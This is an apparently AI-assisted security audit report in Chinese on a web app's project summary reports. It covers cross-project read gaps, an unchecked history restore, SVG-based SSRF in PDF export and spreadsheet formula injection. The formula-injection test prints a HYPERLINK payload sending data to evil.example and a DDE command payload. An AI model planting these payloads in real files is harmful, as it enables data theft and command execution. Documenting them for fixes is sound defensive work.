U9 檢查結果:專案摘要報告+關聯表+使用者/角色殘段

U9 檢查結果:專案摘要報告+關聯表+使用者/角色殘段

檢查日期 2026-09-25|對應卡片 CM-2161(母卡 CM-2152)|檢查範圍 20 個檔案 1,658 行|工具 run ID wf_e920735d-3bb|掃描版本 e1c92303(feature/review)|驗證章 verified

§1

🔴 一句話結論

卡片最擔心的「同公司、不是專案成員的人,能不能看別的專案的摘要報告」——在目前主線上:看得到。 第 65 項掃描當時還沒修進主線(後已合回並隨 1.21.0 出貨)。修正分支(fix/security-b1,CM-2037)上五支讀取功能都補了守門,但還沒合回。修正分支上還留一個縫:「還原歷史版本」。它檢查了「你能不能動這份報告」,沒檢查「你拿來還原的那個歷史版本是不是這份報告的」。所以專案 A 的任何成員,都能把專案 B 某一版的稽核結論全文複製進自己 A 的報告裡讀出來。三人面板 0:3 否決了這條,但他們的理由只在「第 65 項還沒修」時成立(見 U9-1)。這是 U7 那個病的又一個長相:只認網址上那份報告,不認資料歸屬。

  • 第 65 項(卡片第一條):在主線上我用 DEV 真資料實測。租戶 131 的一般帳號 euadmin 不是專案 321 的成員,用他的身分查資料庫,整份摘要報告(含稽核結論全文、作者帳號)和歷史版本都撈得到。換成租戶 102 的帳號去查同一份就撈不到,代表資料庫隔離擋住了跨公司,只擋不住公司內跨專案。修正分支已修,但 CM-2037 還沒合進 feature/review。
  • 🟠 新發現 U9-2(中風險,工具 F1 面板 3:0+runner 實測):匯出摘要報告 PDF 時,圖片只准用內嵌的 data:image/*(CM-892 的防線),但 data:image/svg+xml 也算在內。一張 SVG 圖裡可以再指向別的網址或伺服器上的檔案,PDF 產生器照樣會去抓。我在本機實測:伺服器對 127.0.0.1 發出了兩個請求,也能把本機檔案 file://… 的圖片內容嵌進 PDF。工具獨立找到同一條,三人面板 3:0 通過、評中。這是本棒唯一經面板背書的新項目。
  • 🟡 U9-1(中風險,runner 實測;工具 C3 面板 0:3 否決,我不同意,請首腦裁):還原歷史版本時「版本歸屬」沒核對。面板否決的理由是:「反正歷史版本本來就能直接讀,還原只是『先讀、再貼』,沒有多給能力。」這個理由的前提是第 65 項沒修。修正分支把直接讀取補上守門之後,還原就成了唯一能讀到別專案版本內容的路。修正分支上一樣存在:CM-2037 只補了讀取功能,這支本來就有守門,所以沒動到。
  • 帳號匯入範本的公式注入(卡片第二條):成立,第 150 項已記(租戶、部門、角色名稱原樣寫進隱藏下拉分頁)。工具 F3 面板 3:0 評低,本機實測重現。修正分支 CM-2189(895db0ef8)已修,主線當時還沒修(後已隨 1.21.0 出貨)。
  • 第 65 項:工具 F2 面板 3:0 評中,與總表現有嚴重度一致,不另計。
  • 角色、帳號包裝層(卡片第三條):不成立。套件的寫入路由都經過主專案這層包裝,沒有第二條繞過的路。
  • 原廠帳號讀取器(卡片第四條):不成立。只在伺服器內部被呼叫,只回「是不是」,不回任何帳號欄位。
  • 三支關聯表:不成立(本棒範圍內)。它們沒有對外路由,只被後端流程內部呼叫。
§2

這一棒在檢查什麼

「專案摘要報告」是稽核結束時寫的結論文件(富文本,可匯出 PDF),每次修改都留一版歷史、可以還原。另外本棒順帶掃了三張「專案↔︎稽核計畫/部門/系統特性」的關聯表程式,以及主專案包在身分套件(jedi-iam)外面的三支包裝(角色授權檢查、原廠帳號保護、帳號匯入範本)。

檔案 行數 角色
app/project_summary_report/service/project_summary_report_service.py 178 摘要報告的新增、查看、修改、刪除、清單
api/project_summary_report/routes/project_summary_report_route.py 170 摘要報告對外入口+PDF 匯出+富文本清洗
api/project/serializers/assessment_plan.py 148 稽核計畫任務的輸入輸出格式(純宣告)
common/util/audit_nickname.py 87 把帳號換成暱稱顯示的共用小工具
app/auth/service/user_app_service.py 122 原廠帳號不可被刪、停用、降權
app/auth/service/user_import_template_app_service.py 106 產生帳號批次匯入範本 Excel
app/auth/service/role_app_service.py 94 角色不能被新增未授權模組的權限
api/project/__init__.py 88 專案模組路由登記表
app/project_summary_report/service/project_summary_report_history_service.py 77 歷史版本清單、單筆、還原
api/project_summary_report/routes/project_summary_report_history_route.py 71 歷史版本對外入口
infra/associations/repository/project_assessment_plan_mapping_repo_impl.py 71 專案↔︎稽核計畫關聯(資料庫存取)
api/project/routes/project_route.py 69 建立專案
app/associations/service/project_assessment_plan_mapping_service.py 67 專案↔︎稽核計畫關聯(服務層)
infra/associations/repository/project_system_characteristic_mapping_repo_impl.py 59 專案↔︎系統特性關聯
domain/associations/service/project_system_characteristic_mapping_domain_service.py 50 同上(領域層)
app/associations/service/project_org_unit_mapping_service.py 44 專案↔︎部門關聯
api/project_summary_report/__init__.py 43 摘要報告路由登記表
infra/auth/root_admin_reader.py 40 查某帳號是不是原廠帳號
infra/associations/repository/project_org_unit_mapping_repo_impl.py 38 專案↔︎部門關聯
infra/project_summary_report/repository/project_summary_report_hitrosy_repo_impl.py 36 歷史版本查詢

要回答的核心問題:摘要報告的資料表沒有「屬於哪家公司」的欄位,資料庫的保護規則是「專案看得到就看得到」。同一家公司內,不是這個專案的人,能不能讀或改別的專案的摘要報告?

§3

掃到什麼(總覽)

# 這是什麼問題 出事會怎樣 要先有什麼才打得到 該補檢查的位置 嚴重度+為什麼 來源
U9-2 PDF 匯出允許 data:image/svg+xml 圖片,SVG 裡面可以再指向內網網址或伺服器本機檔案 在摘要報告裡貼一張特製 SVG 圖,按匯出,伺服器就去打內網網址(可探測內網服務),或把伺服器上的圖檔嵌進 PDF 帶走 能寫摘要報告的人(主線上:同公司任一登入帳號;修正後:該專案任一成員) api/project_summary_report/routes/project_summary_report_route.py:48(src 只收 data:image/png、jpeg、gif、webp,排除 svg+xml);更穩的做法是 :166 產 PDF 時給 WeasyPrint 一個一律拒絕的 url_fetcher 🟠 中:CM-892 當初要擋的就是「伺服器替使用者外抓網址」,這條把它繞過了;只能發 GET、一般看不到回應內容,但回應是圖片時會嵌進 PDF 帶走,也能嵌本機圖檔 工具 F1,面板 3:0(中、信心高)+runner 本機實測
U9-1 還原歷史版本時,只檢查「你是不是這份報告所屬專案的人」,不檢查「你指定的歷史版本是不是這份報告的」 專案 A 的任何成員(連旁觀者 viewer 也行),指定專案 B 某一版的編號去還原自己 A 的報告,B 那一版的稽核結論全文就被複製進 A 的報告;再用正常畫面讀 A 就看到了。修正分支上一樣存在 是任一專案的成員+知道別專案某個歷史版本的編號(主線上第 65 項的歷史清單會直接給;修正後要靠別的管道外流) app/project_summary_report/service/project_summary_report_history_service.py:50(取出歷史版本後,比對 history.report_id == report.id,不同就回 404;歷史版本查不到也要回 404,目前是 500) 🟠 中:與第 94 項(問卷還原)同一型;讀到的是別專案的稽核結論,還會把自己專案的報告改掉。只在第 65 項修好後才是唯一的讀取路徑,主線上等同第 65 項 runner 實測;工具 C3 面板 0:3 否決(理由見「工具報的逐條」),runner 不同意,請首腦裁
— 摘要報告清單、單筆、歷史清單、歷史單筆只驗登入,不驗專案成員 見第 65 項 — — 中 工具 F2 面板 3:0;既有第 65 項,掃描當時主線未修(後已隨 1.21.0 出貨)
— 帳號匯入範本把租戶、部門、角色名稱原樣寫進下拉分頁 見第 150 項 — — 中(工具評低) 工具 F3 面板 3:0;既有第 150 項重現,掃描當時主線未修(CM-2189,後已隨 1.21.0 出貨)

現況(2026-10-01):本棒各條後來的處理結果如下(過程紀錄保留,不改)。

  • U9-1(還原歷史版本不核歸屬,原 0:3 否決、首腦推翻)=總表第 205 項,✅ 已修(CM-2211,commit fe928859f,1.21.0 出貨)。
  • U9-2(PDF 匯出 SVG)=總表第 204 項,✅ 已修(CM-2213,commit a5804a990/bde8f9d16,1.21.0 出貨)。
  • 舊帳第 65 項 ✅ 已修(CM-2179,commit 94275d72f)、第 150 項 ✅ 已修(CM-2181,commit 48638cbdb/套件 2cb9d2cd),均隨 1.21.0 出貨。
§4

卡片點名的疑點逐條回答

1. 🔴 摘要報告兩支 route、三支關聯表 service 零守門字眼——同公司非專案成員能不能讀/改別的專案

主線上:讀得到,改不了。

  • 讀:project_summary_report_service.py:53(清單)、:78(單筆)、project_summary_report_history_service.py:29(歷史清單)、:36(歷史單筆)四支開頭都沒有「你是不是這個專案的人」這道檢查。清單那支的查詢條件全部非必填,送空請求就整批回來。
  • 改:新增 :111、修改 :138、刪除 :164、還原 history_service.py:57 都有檢查;匯出 PDF 走 :100,也有檢查。
  • DEV 實測(唯讀,2026-09-25 15:10 前後):用資料庫應用帳號、模擬租戶 131 的一般帳號 euadmin(使用者 50,不是專案 321 的成員)的查詢身分,空條件查摘要報告表,撈到專案 321 的報告(b9804e7e…,稽核結論、作者 admin),歷史版本也撈得到;同一身分查成員表,確認他不是專案 321 的成員。換成租戶 102 的帳號去查同一份:0 筆。跨公司擋住了,公司內跨專案沒擋。
  • 打折:我沒有起後端打真的 HTTP 請求(在本機起測試用後端時,主專案的一個資料存取元件因為平行修正線的套件改動而起不來)。改用「資料庫應用帳號+同樣的身分變數」直接查,模擬的是後端會帶給資料庫的那組條件;程式碼層面這四支沒有任何其他過濾,所以結果等同。
  • 修正分支狀態:CM-2037(cd9223592、b047d16e3)已在五支讀取加上檢查,清單改成只回「我參與的專案」,歷史清單的報告編號改成必填。還沒合進 feature/review,我讀過修正後的版本,讀取這一面是補齊的。
  • 還有沒有別的讀取入口:全 repo 搜尋摘要報告的服務與資料表,只有 module_frame_service.py 注入了這個服務、卻沒有呼叫它;三支沒人呼叫的方法(get_project_summary_reports、get_project_summary_report_by_id、add_project_summary_report)沒有對外入口,修正分支已刪(e2ffc2d4f)。唯一漏網的是 U9-1 那條「借還原來讀」。
  • 三支關聯表 service:project_assessment_plan_mapping_service.py、project_org_unit_mapping_service.py、project_system_characteristic_mapping_domain_service.py 都沒有對外路由,只被 workflow_execution_service.py 等後端流程在內部呼叫,專案編號是流程自己算出來的,不是使用者給的。本棒範圍內不成立。順帶記一個不影響安全的小問題:project_assessment_plan_mapping_service.py:64 的「依專案刪除」實際呼叫的是「依編號刪除」(把專案編號當關聯編號刪),目前沒有人呼叫這支。

2. user_import_template_app_service.py:範本帶的現有資料有沒有先中和公式字元

成立,第 150 項已記,不另計。

  • :97 把租戶、部門、角色名稱原封不動寫進隱藏的下拉分頁。
  • 本機實測:假資料把部門名設成 =HYPERLINK("http://evil.example/?x="&A1,"點我")、角色名設成 =cmd|' /C calc'!A0,產出的檔案裡這兩格被存成公式(<f> 標籤);+1+1、@SUM(1) 這類則存成文字。也就是 = 開頭的一定中,其他三個字元要看 openpyxl 怎麼判。
  • 修正分支 CM-2189(895db0ef8)已改用 set_text_cell,主線還沒合。
  • 能改部門、角色名稱的人要有對應的管理權限,門檻比第 150 項那條「改自己暱稱」高,所以第 150 項的嚴重度不用動。

3. role_app_service.py/user_app_service.py:有沒有繞過套件守門直接改角色

不成立。

  • 我讀了 jedi-iam 的 role_route.py、user_route.py、routing.py。角色的新增、修改都走 role_app_service,有授權模組檢查;帳號的修改、刪除、改狀態、自助改資料四條都先呼叫 user_app_service 的原廠帳號檢查。
  • 角色的刪除和改狀態直接走套件的 role_service、不經包裝層,但授權模組檢查只管「新授予未授權的權限」,刪除和停用不會新授予,所以不需要經過包裝層。
  • 原廠帳號保護在 _is_protected(user_app_service.py:119)零件沒接上時「視為受保護」,是往安全的方向失敗,寫法正確。
  • 旁支查了一件事:原廠帳號的「到期日」沒有被保護,可以被改成過去的日期,而登入時會檢查到期日(jedi-iam login_service.py:117),所以改了確實會登不進去。但能碰到原廠帳號的只有最上層租戶的人,他們本來就能改原廠帳號的密碼或 email,效果一樣。工具 C4 面板 1:2 否決,我同意不立項(見「工具報的逐條」)。

4. root_admin_reader.py:誰能呼叫、回傳什麼欄位

不成立。

  • 只有兩個呼叫者:user_app_service.py:122(刪、停、降權前問一句)、core/plugins/identity.py:259(登入時決定原廠帳號要不要豁免密碼過期)。都在伺服器內部,沒有對外路由。
  • 回傳只有「是/否」(bool),查詢只選 User.id、不選任何帳號欄位。
  • 它繞過資料庫隔離去查,這是刻意的(原廠帳號屬於最上層租戶,子公司的查詢身分看不到它)。範圍鎖在單次唯讀查詢,套件內還有註解說明兩支方法「判不出來時往哪邊失敗」相反的理由,我核對過兩個方向都對。

5. 「有人守了一半」共通疑點逐條對照

疑點 本棒有沒有
只驗「你是誰」,沒驗「這筆資料是不是你的」 有:U9-1(還原只驗報告、不驗版本歸屬);第 65 項(主線的四支讀取)
只檢查了列表,沒檢查單筆 反過來:主線上寫入的單筆有守、讀取的列表和單筆都沒守(第 65 項)
第二支路由沒掛 無。project_summary_report_route.py:24 一個類別掛兩條網址(有帶編號、沒帶編號),沒帶編號時 GET/PUT/DELETE 會因為少參數而回 500,屬錯誤處理不當、不是繞過
守門條件用 or 串起來、其中一條永遠成立 無
「查不到」與「沒權限」混成同一回應 摘要報告查不到回 404、沒權限回 403,兩者可區分,可以用來探測某個報告編號存不存在(編號是隨機 UUID,實務上猜不到,不另計)
背景或系統身分假設「呼叫者一定是自己人」 關聯表三支都只被內部流程呼叫,編號由流程算出;不成立
防重放或計次只在單一程序有效 無
註解寫「刻意不檢查」、上一層也沒檢查 無
「零件沒接就放行」 有,但沒有實際影響:_require_participant(project_summary_report_service.py:40)在守門零件沒接上時直接放行。我核對過容器設定檔(di_containers/project/project_summary_report_containers.py),主線和修正分支都有接上
§5

工具報的逐條

工具交回 5 條候選(主研究員 5 條,密鑰專掃 0 條),三人面板 15 票全投、零漏投:3 條 3:0 通過、1 條 0:3 否決、1 條 1:2 否決。

工具編號 說什麼 面板 對到哪
F1 PDF 匯出允許 SVG 內嵌圖,伺服器替使用者外抓內網網址 3:0 中(信心高) 新=U9-2
F2 摘要報告與歷史版本四支讀取不驗專案成員 3:0 中 第 65 項
F3 帳號匯入範本的名稱被當成公式 3:0 低 第 150 項
C3(否決) 還原歷史版本不核版本歸屬 0:3 否決 runner 不同意=U9-1
C4(否決) 原廠帳號保護沒擋「改到期日」與「換成別的最上層租戶角色」 1:2 否決 不立項(見下)

C3 為什麼被否決、我為什麼不同意:三票理由幾乎一樣:「專案 A 的成員本來就能用沒守門的歷史讀取直接讀 B 的版本,再用修改功能貼進 A,還原沒多給能力。」這在主線上是對的,因為第 65 項沒修。但修正分支(CM-2037)已經把「直接讀歷史」補上守門,這時還原就成了唯一的路:get_project_summary_report_history_by_uid 讀不到 B 的版本,但還原不用先讀,只要知道編號就能直接把內容寫進 A。面板看的是主線,沒看修正分支,所以不知道這個前提會消失。我用假資料直接呼叫修正分支的服務程式實測,B 的內容確實被寫進 A 的報告,守門只問過 A 的專案(見「可信度」)。建議:與第 65 項併同一張修正卡,修法是在 history_service.py:50 取出歷史版本之後比對歸屬。與第 94 項(問卷還原)一模一樣的修法。

C4 為什麼被否決、我怎麼看:這條說原廠帳號保護只擋「拔超管旗標」「停用」「拔最上層租戶角色」,沒擋「把到期日改成過去」(到期後就登不進去)。我原本也懷疑過,查過套件後確認:登入時確實會檢查到期日(jedi-iam login_service.py:117 → user_entity.py:64,初稿誤寫成「登入不看到期日」,已更正)。但面板兩票指出,能碰到原廠帳號的只有最上層租戶的人,而這些人本來就能改原廠帳號的密碼或 email(守門刻意放行),效果一樣是把原廠鎖在門外。所以這條守門的定位是「防手滑」而不是安全邊界,漏擋到期日不給任何新能力。我同意不立項,但建議修 root admin 保護時順手把到期日加進擋的清單(一行)。

F1 補充:面板三票都讀到 WeasyPrint 預設的抓取器允許 http、https、ftp、file,與我的本機實測一致。

§6

可信度分兩層

  • 「這幾條存在嗎」:工具 F1、F2、F3 經三人面板完整投票(15 票全投、零漏投),驗證章 verified。U9-2 同時有面板 3:0 與我的本機實測兩層。U9-1 面板 0:3 否決,現在只有我的實測:我用假資料直接呼叫修正分支的服務程式,看到 B 版本的內容被寫進 A 的報告,守門只問過 A 的專案。U9-2 的實測是在本機起一個假伺服器,讓 PDF 產生器處理清洗過的內容,假伺服器收到了兩個請求。第 65 項在 DEV 用資料庫應用帳號唯讀實測。
  • 「只有這幾條嗎」:研究員 2 派 2 回、零失敗,範圍 20 支沒有申報「沒讀到」的檔。我自己也逐支通讀了 20 支。範圍外讀了修正分支的摘要報告五支檔、jedi-iam 的角色/帳號/匯入路由與登入到期日檢查、原廠帳號判定的套件本體、PDF 模板、摘要報告容器設定檔。這是快篩檔(low),只有一位主研究員。
  • 打折處:
    • 沒有起後端打真的 HTTP 請求(見疑點 1 的打折說明)。
    • U9-1 是用假資料直接呼叫服務層,沒有在 DEV 真的還原(還原會改資料,屬寫入,本棒不做)。
    • U9-2 只在本機測 WeasyPrint 69.0 的行為,沒有在 DEV 或正式主機實際匯出;主機上的 WeasyPrint 版本要核對是否相同。
    • DEV 查詢時間點 2026-09-25 15:10 前後;平行修正線可能改變資料。
§7

執行概況

項目 數值
run ID wf_e920735d-3bb
報告目錄 CLAUDE-SECURITY-20260925-070413/(不入版控)
驗證章 verified(stamp CLAUDE-SECURITY-REVISION-e1c923033405-dirty.json;dirty 是平行線未 commit 的改動,不在範圍內)
掃描參數 --effort low、focus attack-surface、範圍 20 檔
研究員 2 派 2 回(主掃 1+密鑰掃 1,密鑰零發現),零失敗、零重試
候選/投票 5 候選、15 票全投;3 條 3:0、1 條 0:3、1 條 1:2
agent 總數 17 個,0 錯誤(1 個空結果=密鑰掃零發現)
耗時 約 47 分鐘
淨新增 中 1(U9-2,面板 3:0+runner 實測)+待裁中 1(U9-1,面板 0:3 否決、runner 實測不同意);第 65/150 項重現不另計